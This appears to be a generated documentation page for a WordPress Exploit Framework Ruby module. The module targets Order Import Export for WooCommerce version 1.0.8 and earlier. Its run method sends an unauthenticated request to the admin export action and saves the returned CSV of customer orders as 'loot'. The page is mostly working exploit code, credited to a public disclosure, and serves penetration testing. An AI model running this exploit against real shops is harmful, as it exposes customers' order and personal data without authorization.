class Wpxf::Auxiliary::WoocommerceOrderImportExportOrderDisclosure

Public Class Methods

new() click to toggle source
Calls superclass method Wpxf::Module::new
# File lib/wpxf/modules/auxiliary/info/woocommerce_order_import_export_order_disclosure.rb, line 9
def initialize
  super

  update_info(
    name: 'Order Import Export for WooCommerce <= 1.0.8 Order Information Disclosure',
    desc: %(
      Version <= 1.0.8 of the import export plugin for WooCommerce allows unauthenticated
      users to download a CSV disclosing information about orders placed in the system.
    ),
    author: [
      'David Peltier', # Disclosure
      'rastating'      # WPXF module
    ],
    references: [
      ['WPVDB', '8624'],
      ['EDB', '40391']
    ],
    date: 'Sep 19 2016'
  )
end

Public Instance Methods

check() click to toggle source
# File lib/wpxf/modules/auxiliary/info/woocommerce_order_import_export_order_disclosure.rb, line 30
def check
  check_plugin_version_from_readme('order-import-export-for-woocommerce', '1.0.9')
end
export_url() click to toggle source
# File lib/wpxf/modules/auxiliary/info/woocommerce_order_import_export_order_disclosure.rb, line 34
def export_url
  normalize_uri(wordpress_url_admin, 'admin.php')
end
run() click to toggle source
Calls superclass method Wpxf::Module#run
# File lib/wpxf/modules/auxiliary/info/woocommerce_order_import_export_order_disclosure.rb, line 38
def run
  return false unless super

  emit_info 'Downloading order export CSV...'
  res = execute_get_request(
    url: export_url,
    params: {
      'page' => 'wf_woocommerce_order_im_ex',
      'action' => 'export'
    }
  )

  if res.code != 200
    emit_error "Server responded with code #{res.code}"
    return false
  end

  loot = export_and_log_loot res.body, 'Export of WooCommerce orders', 'export', '.csv'
  emit_success "Saved export to #{loot.path}"

  true
end